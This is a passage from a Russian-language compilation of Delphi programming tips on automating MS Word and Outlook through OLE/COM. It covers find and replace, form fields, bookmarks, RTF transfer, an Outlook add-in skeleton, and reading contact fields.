      for jGridCols := 1 to iCols do
      begin
        CellText := Table.Cell(jGridCols, iGridRows).Range.FormattedText;
        if not VarisEmpty(CellText) then
        begin
          // Remove Tabs
          CellText := StringReplace(CellText,
            #$D, '', [rfReplaceAll]);
          // Remove linebreaks
          CellText := StringReplace(CellText, #$7, '', [rfReplaceAll]);

          // fill Stringgrid
          Stringgrid1.Cells[iGridRows, jGridCols] := CellText;
        end;
      end;
    //..
  finally
    MSWord.Quit;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как заполнить поля формы в MS Word?

uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  WordApp: OLEvariant;
begin
  Screen.Cursor := crHourglass;
  try
    // Create Word Instance
    WordApp := CreateOleObject('Word.Application');
  except
    ShowMessage('Cannot start MS Word.');
    Screen.Cursor := crDefault;
    Exit;
  end;

  try
    // Open a Word Document
    WordApp.Documents.Add(Template := 'C:\TestDoc.doc');

    // Show Word
    WordApp.Visible := True;

    // Check if FormField exists and asign your text
    if WordApp.ActiveDocument.Bookmarks.Exists('YourFormFieldName') then
      WordApp.ActiveDocument.FormFields.Item('YourFormFieldName').Result := 'Your Text';
  finally
    WordApp := Unassigned;
    Screen.Cursor := crDefault;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как заменить текст в документе MS Word?

{
  This function starts a hidden word instance, opens a specified document "ADocument"
  and replaces (all) occurrences of "SearchString" with a specified "ReplaceString".
  The function is similar to the Delphi StringReplace() function.
}

uses
  ComObj;

// Replace Flags
type
  TWordReplaceFlags = set of (wrfReplaceAll, wrfMatchCase, wrfMatchWildcards);

function Word_StringReplace(ADocument: TFileName; SearchString, ReplaceString: string; Flags: TWordReplaceFlags): Boolean;
const
  wdFindContinue = 1;
  wdReplaceOne = 1;
  wdReplaceAll = 2;
  wdDoNotSaveChanges = 0;
var
  WordApp: OLEVariant;
begin
  Result := False;

  { Check if file exists }
  if not FileExists(ADocument) then
  begin
    ShowMessage('Specified Document not found.');
    Exit;
  end;

  { Create the OLE Object }
  try
    WordApp := CreateOLEObject('Word.Application');
  except
    on E: Exception do
    begin
      E.Message := 'Word is not available.';
      raise;
    end;
  end;

  try
    { Hide Word }
    WordApp.Visible := False;
    { Open the document }
    WordApp.Documents.Open(ADocument);
    { Initialize parameters}
    WordApp.Selection.Find.ClearFormatting;
    WordApp.Selection.Find.Text := SearchString;
    WordApp.Selection.Find.Replacement.Text := ReplaceString;
    WordApp.Selection.Find.Forward := True;
    WordApp.Selection.Find.Wrap := wdFindContinue;
    WordApp.Selection.Find.Format := False;
    WordApp.Selection.Find.MatchCase := wrfMatchCase in Flags;
    WordApp.Selection.Find.MatchWholeWord := False;
    WordApp.Selection.Find.MatchWildcards := wrfMatchWildcards in Flags;
    WordApp.Selection.Find.MatchSoundsLike := False;
    WordApp.Selection.Find.MatchAllWordForms := False;
    { Perform the search}
    if wrfReplaceAll in Flags then
      WordApp.Selection.Find.Execute(Replace := wdReplaceAll)
    else
      WordApp.Selection.Find.Execute(Replace := wdReplaceOne);
    { Save word }
    WordApp.ActiveDocument.SaveAs(ADocument);
    { Assume that successful }
    Result := True;
    { Close the document }
    WordApp.ActiveDocument.Close(wdDoNotSaveChanges);
  finally
    { Quit Word }
    WordApp.Quit;
    WordApp := Unassigned;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Word_StringReplace('C:\Test.doc','Old String','New String',[wrfReplaceAll]);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вставить свой пункт меню?

{ ... }
var
  CBar: CommandBar;
  MenuItem: OleVariant;
  { ... }

{ Add an item to the File menu }
  CBar := Word.CommandBars['File'];
  MenuItem := CBar.Controls.Add(msoControlButton, EmptyParam, EmptyParam,
    EmptyParam, True) as CommandBarButton;
  MenuItem.Caption := 'NewMenuItem';
  MenuItem.DescriptionText := 'Does nothing';
{Note that a VB macro with the right name must exist before you assign it to the item!}
  MenuItem.OnAction := 'VBMacroName';
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как поменять ссылку в тексте?

{ ... }
Doc := Word.ActiveDocument;
for x := 1 to Doc.Hyperlinks.Count do
begin
  Doc.Hyperlinks.Item(x).Address;
end;
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как проверить инсталлирован ли MS Word?

uses
  ..., Registry;

function IsMicrosoftWordInstalled: Boolean;
var
  Reg: TRegistry;
  S: string;
begin
  Reg := TRegistry.Create;
  with Reg do
  begin
    RootKey := HKEY_CLASSES_ROOT;
    Result := KeyExists('Word.Application');
    Free;
  end;
end;

function MSWordIsInstalled: Boolean;
begin
  Result := AppIsInstalled('Word.Application');
end;

function AppIsInstalled(strOLEObject: string): Boolean;
var
  ClassID: TCLSID;
begin
  Result := (CLSIDFromProgID(PWideChar(WideString(strOLEObject)), ClassID) = S_OK)
end;
Взято с Delphi Knowledge Base:http://www.baltsoft.com/

Как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?

Пример:

var
 MsWord: Variant;
...
try
 // Если Word уже запущен
 MsWord := GetActiveOleObject('Word.Application');
 // Взять ссылку на запущенный OLE объект
 except
  try
  // Word не запущен, запустить
  MsWord := CreateOleObject('Word.Application');
  // Создать ссылку на зарегистрированный OLE объект
  MsWord.Visible := True;
   except
    ShowMessage('Не могу запустить Microsoft Word');
    Exit;
   end;
  end;
 end;
...
MSWord.Documents.Add; // Создать новый документ
MsWord.Selection.Font.Bold := True; // Установить жирный шрифт
MsWord.Selection.Font.Size := 12; // установить 12 кегль
MsWord.Selection.TypeText('Текст');

Источник: http://dmitry9.nm.ru/info/


Как сохранить текст MS Word в другом формате?

Open a new Application and place:

a button named Button3,
a RitchText object named WordEditor
and an OpenDialog component.

From now on, you can browse for any *.doc file and load it into the RitchText object.

NOTE: Format:=6 instructs Word to save the file as RTF. Extension is not enough.

Other File Formats:

Argument Format File Format
0   Normal (Word format)
1   Document Template
2   Text Only (extended characters saved in ANSI character set)
3   Text+Breaks (plain text with line breaks; extended characters saved in ANSI character set)
4   Text Only (PC-8) (extended characters saved in IBM PC character set)
5   Text+Breaks (PC-8) (text with line breaks; extended characters saved in IBM PC character set)
6   Rich-text format (RTF)

procedure TImport_Form.ToolButton3Click(Sender: TObject);
var
  WordApp: Variant;
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := ExtractFileName(OpenDialog1.FileName);
    StatusBar1.SimpleText := OpenDialog1.FileName;
    WordApp := CreateOleObject('Word.Basic');
    if not VarIsEmpty(WordApp) then
    begin
      WordApp.FileOpen(OpenDialog1.FileName);
      WordApp.FileSaveAs(Name := 'c:\temp_bb.rtf', Format := 6);
      WordApp.AppClose;
      WordApp := Unassigned;
      WordEditor.Lines.LoadFromFile('c:\temp_bb.rtf');
    end
    else
      ShowMessage('Could not start MS Word');
  end;

end;

How to prevent word from opening password-protected files or resume wizard files and sometimes causing application to hang ?

The sollution is to add the folowing query before openning the document:

if WordApp.ActiveDocument.HasPassword = True then
  MsgBox("Password Protected");

You can even preset the password propery as:

WordApp.Password := 'mypassword";

NOTE: If the above code generates an "Undefined property: ActiveDocument" change the:

CreateOleObject('Word.Basic');

with

CreateOleObject('Word.Application');
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как заменить значение переменных для текста MS Word?

uses
  Office97; {or Office2000, OfficeXP, Office_TLB}

var
  VDoc, PropName, DocName: OleVariant;
  VDoc := Word.ActiveDocument;
  { ... }

{ Set a document property }
PropName := 'MyOpinionOfThisDocument';
VDoc.CustomDocumentProperties.Add(PropName, False, msoPropertyTypeString,
  'Utter drivel', EmptyParam);
{ Read a document property }
Caption := VDoc.CustomDocumentProperties[PropName].Value;
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать версию MS Word?

{ ... }
MsWord := CreateOleObject('Word.Basic');
try
  {Return Application Info. This call is the same for English and
   French Microsoft Word.}
  Lang := MsWord.AppInfo(Integer(16));
except
  try
    {For German Microsoft Word the procedure name is translated}
    Lang := MsWord.AnwInfo(Integer(16));
  except
    try
      {For Swedish Microsoft Word the procedure name is translated}
      Lang := MsWord.PrgmInfo(Integer(16));
    except
      try
        {For Dutch Microsoft Word the procedure name is translated}
        Lang := MsWord.ToepasInfo(Integer(16));
      except
        {If this procedure does not exist there is a different translation
           of Microsoft Word}
        ShowMessage('Microsoft Word version is not German, French, Dutch, Swedish
             or English.');
        Exit;
      end;
    end;
  end;
end;
ShowMessage(Lang);
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить текст к закладке?

uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
const
  // Word Document to open
  YourWordDocument = 'c:\test\worddoc.doc';
var
  BookmarkName, Doc, R: OleVariant;
begin
  // Start a Word instance
  try
    WordApp := CreateOleObject('Word.Application');
  except
    ShowMessage('Could not start MS Word!');
  end;
  // Open your Word document
  WordApp.Documents.Open(YourWordDocument);
  Doc := WordApp.ActiveDocument;

  // name of your bookmark
  BookmarkName := 'MyBookMark';

  // Check if bookmark exists
  if Doc.Bookmarks.Exists(BookmarkName) then
  begin
    R := Doc.Bookmarks.Item(BookmarkName).Range;
    // Add text at our bookmark
    R.InsertAfter('Text in bookmark');
    // You make a text formatting like changing its color
    R.Font.Color := clRed;
  end;

  // Save your document and quit Word
  if not VarIsEmpty(WordApp) then
  begin
    WordApp.DisplayAlerts := 0;
    WordApp.Documents.Item(1).Save;
    WordApp.Quit;
    BookmarkName := Unassigned;
    R := Unassigned;
    WordApp := Unassigned;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как создать таблицу в MS Word?

If Doc is a TWordDocument, for example:

{ ... }
var
  Tbl: Table;
  R: Range;
  Direction: OleVariant;
  { ... }
Direction := wdCollapseEnd;
R := Doc.Range;
R.Collapse(Direction);
Tbl := Doc.Tables.Add(R, 2, 4, EmptyParam, EmptyParam);
Tbl.Cell(1, 1).Range.Text := 'Row 1, Col 1';
Tbl.Cell(1, 2).Range.Text := 'Row 1, Col 2';

But doing things with individual table cells in Word is extremely slow. If you can, it's better to enter the data as (for example) comma-separated values and convert it into a table only as the last step. Here's an example:

{ ... }
const
  Line1 = 'January,February,March';
  Line2 = '31,28,31';
  Line3 = '31,59,90';
var
  R: Range;
  Direction, Separator, Format: OleVariant;
{ ... }
R := Word.Selection.Range;
Direction := wdCollapseEnd;
R.Collapse(Direction);
R.InsertAfter(Line1);
R.InsertParagraphAfter;
R.InsertAfter(Line2);
R.InsertParagraphAfter;
R.InsertAfter(Line3);
R.InsertParagraphAfter;
Separator := ',';
Format := wdTableFormatGrid1;
R.ConvertToTable(Separator, EmptyParam, EmptyParam, EmptyParam, Format, EmptyParam,
  EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
  EmptyParam, EmptyParam);
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с Shapes

{ ... }
var
  Pic: Word2000.Shape;
  Left, Top: OleVariant;
  { ... }

{To add a pic and make it appear behind text}
Left := 100;
Top := 100;
Pic := Doc.Shapes.AddPicture('C:\Small.bmp', EmptyParam, EmptyParam, Left, Top,
  EmptyParam, EmptyParam, EmptyParam);
Pic.WrapFormat.Type_ := wdWrapNone;
Pic.ZOrder(msoSendBehindText);
{To get a watermark effect}
Pic.PictureFormat.Brightness := 0.75;
Pic.PictureFormat.Contrast := 0.20;
{To make any white in a picture transparent}
Pic.PictureFormat.TransparencyColor := clWhite;
Pic.PictureFormat.TransparentBackground := msoTrue;
Pic.Fill.Visible := msoFalse;
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить текст в header документа?

{ ... }
aDoc := WordApp.Documents.Add(EmptyParam, EmptyParam);
aDoc.Sections.Item(1).Headers.Item(wdHeaderFooterPrimary).Range.Text :=
  'This is a header';
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как добавить текст в footer документа?

Footer:

{ ... }
aDoc := WordApp.Documents.Add(EmptyParam, EmptyParam);
aDoc.Sections.Item(1).Footers.Item(wdHeaderFooterPrimary).Range.Text :=
  'This is a footer';
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с объектом Excel вставленном в Word документ?

{ ... }
var
  AWordApplication: WordApplication;
  AWordDocument: WordDocument;
  AWorkBook: ExcelWorkBook;
  AWorkSheet: ExcelWorkSheet;
  AInlineShape: InlineShape;
  AFileName: OleVariant;
  TrueParam: OleVariant;
begin
  AWordApplication := CoWordApplication.Create;
  try
    FalseParam := False;
    AFileName := 'c:\wordexcel.doc';
    AWordDocument := AWordApplication.Documents.Open(AFileName, EmptyParam,
      EmptyParam,
      EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
      EmptyParam, EmptyParam, EmptyParam, EmptyParam);
    AInlineShape := AWordDocument.InlineShapes.Item(1);
    AInlineShape.Activate;
    AWorkBook := AWordDocument.InlineShapes.Item(1).OLEFormat.Object_ as
      ExcelWorkBook;
    AWorkSheet := AWorkBook.ActiveSheet as ExcelWorkSheet;
    ShowMessage(AWorkSheet.Cells.Item[2, 1].Text);
  finally
    AWordApplication.Quit(FalseParam, EmptyParam, EmptyParam);
    AWordApplication := nil;
    AWordDocument := nil;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать поиск/замену в документе?

You should use a variant because the Find.Execute method is a bit buggy. Something like this, for example:

{ ... }
var
  Rnge: OleVariant;
{ ... }

Rnge := Doc.Content;
Rnge.Find.Execute('old', Wrap := wdFindContinue, ReplaceWith := 'new', Replace :=
  wdReplaceAll);
{ ... }

{ ... }
  { Create the OLE Object }
WordApp := CreateOLEObject('Word.Application');
WordApp.Documents.Open(yourDocFile);
WordApp.Selection.Find.ClearFormatting;
WordApp.Selection.Find.Text := yourOldStr;
WordApp.Selection.Find.Replacement.Text := yourNewStr;
WordApp.Selection.Find.Forward := True;
WordApp.Selection.Find.Wrap := 1; {wdFindContinue}
WordApp.Selection.Find.Format := False;
WordApp.Selection.Find.MatchCase := False;
WordApp.Selection.Find.MatchWholeWord := False;
WordApp.Selection.Find.MatchWildcards := True;
WordApp.Selection.Find.MatchSoundsLike := False;
WordApp.Selection.Find.MatchAllWordForms := False;
WordApp.Selection.Find.Execute(Replace := 2); {wdReplaceAll}
{Or as alternative:  WordApp.Selection.Find.Execute(Replace := 1); for one replace}
WordApp.ActiveDocument.SaveAs(yourNewDocFile);
WordApp.Quit;
WordApp := Unassigned;
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с WordBasic?

uses OleAuto;

var
  MSWord: Variant;

begin
  MsWord := CreateOleObject('Word.Basic');
  MsWord.FileNewDefault;
  MsWord.TogglePortrait;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Пример запуска макроса в MS WinWord

vvWord:= CreateOleObject('Word.Application.8');
vvWord.Application.Visible:=true;
vvWord.Documents.Open( TempFileName );
vvWord.ActiveDocument.SaveAs( FileName, 1 ); // as .DOC
vvWord.Application.Run( 'Macros Name' );


Как вставить RTF в Word?

uses
  Word_TLB, ActiveX, ComObj;

function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean;
var
  Formats: IEnumFORMATETC;
  TempFormat: TFormatEtc;
  pFormatName: PChar;
  Found: Boolean;
begin
  try
    OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats));
    Found := False;
    while (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do
    begin
      pFormatName := AllocMem(255);
      GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254);
      if (string(pFormatName) = 'Rich Text Format') then
      begin
        RTFFormat := TempFormat;
        Found := True;
      end;
      FreeMem(pFormatName);
    end;
    Result := Found;
  except
    Result := False;
  end;
end;

procedure WriteToMSWord(const RTFText: String);
var
  WordDoc: _Document;
  WordApp: _Application;
  DataObj : IDataObject;
  Formats : IEnumFormatEtc;
  RTFFormat: TFormatEtc;
  Medium : TStgMedium;
  pGlobal : Pointer;
begin
    try
      GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp);
    except
      WordApp := CoWordApplication.Create;
    end;
    WordApp.Documents.Add(EmptyParam, EmptyParam, EmptyParam, EmptyParam);
    WordApp.Visible := True;
    WordDoc := WordApp.ActiveDocument;
    OleCheck(WordDoc.QueryInterface(IDataObject,DataObj));
    GetRTFFormat(DataObj, RTFFormat);
    FillChar(Medium,SizeOf(Medium),0);
    Medium.tymed := RTFFormat.tymed;
    Medium.hGlobal := GlobalAlloc(GMEM_MOVEABLE, Length(RTFText)+1);
    try
     pGlobal := GlobalLock(Medium.hGlobal);
     CopyMemory(PGlobal,PChar(RTFText),Length(RTFText)+1);
     GlobalUnlock(Medium.hGlobal);
     OleCheck(DataOBJ.SetData(RTFFormat,Medium,True));
    finally
      GlobalFree(Medium.hGlobal);
      ReleaseStgMedium(Medium);
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  WriteToMSWord(Memo1.Text); // may be rtf-formatted text
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить RTF из Word без буффера обмена?

uses
  Word_TLB, ActiveX, ComObj;

function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean;
var
  Formats: IEnumFORMATETC;
  TempFormat: TFormatEtc;
  pFormatName: PChar;
  Found: Boolean;
begin
  try
    OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats));
    Found := False;
    while (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do
    begin
      pFormatName := AllocMem(255);
      GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254);
      if (string(pFormatName) = 'Rich Text Format') then
      begin
        RTFFormat := TempFormat;
        Found := True;
      end;
      FreeMem(pFormatName);
    end;
    Result := Found;
  except
    Result := False;
  end;
end;

function GetRTF: string;
var
  DataObject: IDataObject;
  RTFFormat: TFormatEtc;
  ReturnData: TStgMedium;
  Buffer: PChar;
  WordDoc: _Document;
  WordApp: _Application;
begin
  Result := '';
  try
    GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp);
  except
    ShowMessage('Error: MSWord is not running');
    Exit;
  end;
  if (WordApp <> nil) then
    try
      WordDoc := WordApp.ActiveDocument;
      WordDoc.QueryInterface(IDataObject, DataObject);
      if GetRTFFormat(DataObject, RTFFormat) then
      begin
        OleCheck(DataObject.GetData(RTFFormat, ReturnData));
        //RTF is passed through global memory
        Buffer := GlobalLock(ReturnData.hglobal);
        //Buffer is a pointer to the RTF text
        Result := StrPas(Buffer);
        GlobalUnlock(ReturnData.hglobal);
        ReleaseStgMedium(ReturnData);
      end;
    except
      // Error occured...
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ss: TStringstream;
  rtfText: string;
begin
  rtfText := GetRTF;
  ss := TStringStream.Create(rtfText);
  try
    ss.Position := 0;
    Memo1.Text := rtfText;
    RichEdit1.Lines.LoadFromStream(ss);
  finally
    ss.Free
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с Outlook

Cодержание раздела:

Как написать Outlook AddIn?
Как получить список папок Outlook?
Как прочитать адресную книгу Outlook (MSOffice) из Delphi и занести данные в таблицу *.db?
Как прочитать адрес отправителя? New!
Создать новый Outlook Contact? New!
Как сохранить Outlook календарь как website? New!
Чтение email адресов из Outlook .dbx файлов New!

См. также статьи в других разделах:
Как отправить email используя COM интерфейс Outlook


Как написать Outlook AddIn?

{
  1.  Create an ActiveX-Library
  Save the project as e.g. "OLAddIn.dpr"

  2.Create an automation object
  Call the CoClass e.g. "AddIn"
  Save the Unit as "AddIn.pas"

  3.  Add to the uses clause
  - AddInDesignerObjects_TLB
  - Outlook_TLB

}

-     procedure OnConnection(const Application: IDispatch; ConnectMode: ext_ConnectMode;
                           const AddInInst: IDispatch; var custom: PSafeArray); safecall;
-     procedure OnDisconnection(RemoveMode: ext_DisconnectMode; var custom: PSafeArray); safecall;
-     procedure OnAddInsUpdate(var custom: PSafeArray); safecall;
-     procedure OnStartupComplete(var custom: PSafeArray); safecall;
-     procedure OnBeginShutdown(var custom: PSafeArray); safecall;

{
  and complete the class by pressing Ctrl-Shft-C

  4. Step
  Register the COM-object with "run / register ActiveX Server"
  Register the AddIn, so that the Addin will be recognized by Outlook
  - Create a new key: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\Addins\OLAddIn.AddIn
  - create a DWOrd "LoadBehavior" with the value 3

  5.
  Compile the AddIn
  Start Outllok

  Sourcecode

  *********************************************************************************
}

library OLAddIn;

uses
  ComServ,
  OLAddIn_TLB in 'OLAddIn_TLB.pas',
  AddIn in 'AddIn.pas' {AddIn: CoClass};

exports
  DllGetClassObject,
  DllCanUnloadNow,
  DllRegisterServer,
  DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin
end.

{
*********************************************************************************
*********************************************************************************
}

unit AddIn;

{$WARN SYMBOL_PLATFORM OFF}

interface

uses
  ComObj, ActiveX, OLAddIn_TLB, StdVcl, AddinDesignerObjects_TLB, Outlook_TLB;

type
  TAddIn = class(TAutoObject, IAddIn, IDTExtensibility2)
  protected
    { Protected declarations }
    procedure OnConnection(const Application: IDispatch; ConnectMode: ext_ConnectMode;
                           const AddInInst: IDispatch; var custom: PSafeArray); safecall;
    procedure OnDisconnection(RemoveMode: ext_DisconnectMode; var custom: PSafeArray); safecall;
    procedure OnAddInsUpdate(var custom: PSafeArray); safecall;
    procedure OnStartupComplete(var custom: PSafeArray); safecall;
    procedure OnBeginShutdown(var custom: PSafeArray); safecall;
  end;

implementation

uses ComServ, Dialogs;

{ TAddIn }

procedure TAddIn.OnAddInsUpdate(var custom: PSafeArray);
begin

end;

procedure TAddIn.OnBeginShutdown(var custom: PSafeArray);
begin

end;

procedure TAddIn.OnConnection(const Application: IDispatch;
  ConnectMode: ext_ConnectMode; const AddInInst: IDispatch;
  var custom: PSafeArray);
begin
  // To show, that the AddIn has started just say anything
  ShowMessage('Das AddIn wurde gestartet');
end;

procedure TAddIn.OnDisconnection(RemoveMode: ext_DisconnectMode;
  var custom: PSafeArray);
begin

end;

procedure TAddIn.OnStartupComplete(var custom: PSafeArray);
begin

end;

initialization
  TAutoObjectFactory.Create(ComServer, TAddIn, Class_AddIn,
    ciMultiInstance, tmApartment);
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить список папок Outlook?

uses
  ComObj;

procedure RetrieveOutlookFolders(tvFolders: TTreeView);

  procedure LoadFolder(ParentNode: TTreeNode; Folder: OleVariant);
  var
    i: Integer;
    Node: TTreeNode;
  begin
    for i := 1 to Folder.Count do
    begin
      Node := tvFolders.Items.AddChild(ParentNode, Folder.Item[i].Name);

      LoadFolder(Node, Folder.Item[i].Folders);
    end;
  end;
var
  outlook, NameSpace: OLEVariant;
begin
  outlook   := CreateOleObject('Outlook.Application');
  NameSpace := outlook.GetNameSpace('MAPI');

  LoadFolder(nil, NameSpace.Folders);

  outlook := Unassigned;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  RetrieveOutlookFolders(TreeView1);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как прочитать адресную книгу Outlook (MSOffice) из Delphi и занести данные в таблицу *.db?

Сперва сделай 'Import type Library' для Outlk80.olb, (расположен в \Program Files\Microsoft Office\Office).
После того, как появится файл 'Outlook_TLB.pas', можно нацарапать следующее:

uses ComObj, Outlook_TLB;procedure TForm1.Button1Click(Sender: TObject);var  MSOutlook,  MyNameSpace,
 MyFolder,  MyItem: Variant;  s: string;  i: Integer;begin  try    MSOutlook := CreateOleObject('Outlook.Application');
   MyNameSpace := MSOutlook.GetNameSpace('MAPI');    MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
     for i := 1 to MyFolder.Items.Count do
begin
      s := s + #13#13'Contact No: ' + IntToStr(i) + #13#13;
     MyItem := MyFolder.Items[i];
      s := s + 'BillingInformation: ' + MyItem.BillingInformation + #13;
      s := s + 'Body: ' + MyItem.Body + #13;      s := s + 'Categories: ' + MyItem.Categories + #13;
    s := s + 'Companies: ' + MyItem.Companies + #13;      s := s + 'CreationTime: ' + DateTimeToStr(MyItem.CreationTime) + #13;
      s := s + 'EntryID: ' + MyItem.EntryID + #13;      s := s + 'Importance: ' + IntToStr(MyItem.Importance) + #13;
      s := s + 'LastModificationTime: ' + DateTimeToStr(MyItem.LastModificationTime) + #13;
      s := s + 'MessageClass: ' + MyItem.MessageClass + #13;      s := s + 'Mileage: ' + MyItem.Mileage + #13;
      s := s + 'NoAging: ' + IntToStr(MyItem.NoAging) + #13;      s := s + 'OutlookVersion: ' + MyItem.OutlookVersion + #13;
     s := s + 'Saved: ' + IntToStr(MyItem.Saved) + #13;      s := s + 'Sensitivity: ' + IntToStr(MyItem.Sensitivity) + #13;
      s := s + 'Size: ' + IntToStr(MyItem.Size) + #13;      s := s + 'Subject: ' + MyItem.Subject + #13;
     s := s + 'UnRead: ' + IntToStr(MyItem.UnRead) + #13;      s := s + 'Account: ' + MyItem.Account + #13;
     s := s + 'Anniversary: ' + DateTimeToStr(MyItem.Anniversary) + #13;
   s := s + 'AssistantName: ' + MyItem.AssistantName + #13;
     s := s + 'AssistantTelephoneNumber: ' + MyItem.AssistantTelephoneNumber + #13;
      s := s + 'Birthday: ' + DateTimeToStr(MyItem.Birthday) + #13;
     s := s + 'Business2TelephoneNumber: ' + MyItem.Business2TelephoneNumber + #13;
    s := s + 'BusinessAddress: ' + MyItem.BusinessAddress + #13;
     s := s + 'BusinessAddressCity: ' + MyItem.BusinessAddressCity + #13;
   s := s + 'BusinessAddressCountry: ' + MyItem.BusinessAddressCountry + #13;
      s := s + 'BusinessAddressPostalCode: ' + MyItem.BusinessAddressPostalCode + #13;
     s := s + 'BusinessAddressPostOfficeBox: ' + MyItem.BusinessAddressPostOfficeBox + #13;
      s := s + 'BusinessAddressState: ' + MyItem.BusinessAddressState + #13;
      s := s + 'BusinessAddressStreet: ' + MyItem.BusinessAddressStreet + #13;
     s := s + 'BusinessFaxNumber: ' + MyItem.BusinessFaxNumber + #13;
      s := s + 'BusinessHomePage: ' + MyItem.BusinessHomePage + #13;
     s := s + 'BusinessTelephoneNumber: ' + MyItem.BusinessTelephoneNumber + #13;
     s := s + 'CallbackTelephoneNumber: ' + MyItem.CallbackTelephoneNumber + #13;
     s := s + 'CarTelephoneNumber: ' + MyItem.CarTelephoneNumber + #13;
      s := s + 'Children: ' + MyItem.Children + #13;
    s := s + 'CompanyAndFullName: ' + MyItem.CompanyAndFullName + #13;
      s := s + 'CompanyMainTelephoneNumber: ' + MyItem.CompanyMainTelephoneNumber + #13;
     s := s + 'CompanyName: ' + MyItem.CompanyName + #13;
     s := s + 'ComputerNetworkName: ' + MyItem.ComputerNetworkName + #13;
     s := s + 'CustomerID: ' + MyItem.CustomerID + #13;
      s := s + 'Department: ' + MyItem.Department + #13;
    s := s + 'Email1Address: ' + MyItem.Email1Address + #13;
     s := s + 'Email1AddressType: ' + MyItem.Email1AddressType + #13;
      s := s + 'Email1DisplayName: ' + MyItem.Email1DisplayName + #13;
      s := s + 'Email1EntryID: ' + MyItem.Email1EntryID + #13;
     s := s + 'Email2Address: ' + MyItem.Email2Address + #13;
      s := s + 'Email2AddressType: ' + MyItem.Email2AddressType + #13;
     s := s + 'Email2DisplayName: ' + MyItem.Email2DisplayName + #13;
      s := s + 'Email2EntryID: ' + MyItem.Email2EntryID + #13;
     s := s + 'Email3Address: ' + MyItem.Email3Address + #13;
    s := s + 'Email3AddressType: ' + MyItem.Email3AddressType + #13;
     s := s + 'Email3DisplayName: ' + MyItem.Email3DisplayName + #13;
      s := s + 'Email3EntryID: ' + MyItem.Email3EntryID + #13;
      s := s + 'FileAs: ' + MyItem.FileAs + #13;
    s := s + 'FirstName: ' + MyItem.FirstName + #13;
    s := s + 'FTPSite: ' + MyItem.FTPSite + #13;
     s := s + 'FullName: ' + MyItem.FullName + #13;
    s := s + 'FullNameAndCompany: ' + MyItem.FullNameAndCompany + #13;
      s := s + 'Gender: ' + IntToStr(MyItem.Gender) + #13;
      s := s + 'GovernmentIDNumber: ' + MyItem.GovernmentIDNumber + #13;
           s := s + 'Hobby: ' + MyItem.Hobby + #13;
     s := s + 'Home2TelephoneNumber: ' + MyItem.Home2TelephoneNumber + #13;
     s := s + 'HomeAddress: ' + MyItem.HomeAddress + #13;
     s := s + 'HomeAddressCity: ' + MyItem.HomeAddressCity + #13;
     s := s + 'HomeAddressCountry: ' + MyItem.HomeAddressCountry + #13;
     s := s + 'HomeAddressPostalCode: ' + MyItem.HomeAddressPostalCode + #13;
      s := s + 'HomeAddressPostOfficeBox: ' + MyItem.HomeAddressPostOfficeBox + #13;
     s := s + 'HomeAddressState: ' + MyItem.HomeAddressState + #13;
      s := s + 'HomeAddressStreet: ' + MyItem.HomeAddressStreet + #13;
    s := s + 'HomeFaxNumber: ' + MyItem.HomeFaxNumber + #13;
    s := s + 'HomeTelephoneNumber: ' + MyItem.HomeTelephoneNumber + #13;
      s := s + 'Initials: ' + MyItem.Initials + #13;
     s := s + 'ISDNNumber: ' + MyItem.ISDNNumber + #13;
    s := s + 'JobTitle: ' + MyItem.JobTitle + #13;
     s := s + 'Journal: ' + IntToStr(MyItem.Journal) + #13;
     s := s + 'Language: ' + MyItem.Language + #13;
     s := s + 'LastName: ' + MyItem.LastName + #13;
    s := s + 'LastNameAndFirstName: ' + MyItem.LastNameAndFirstName + #13;
     s := s + 'MailingAddress: ' + MyItem.MailingAddress + #13;
     s := s + 'MailingAddressCity: ' + MyItem.MailingAddressCity + #13;
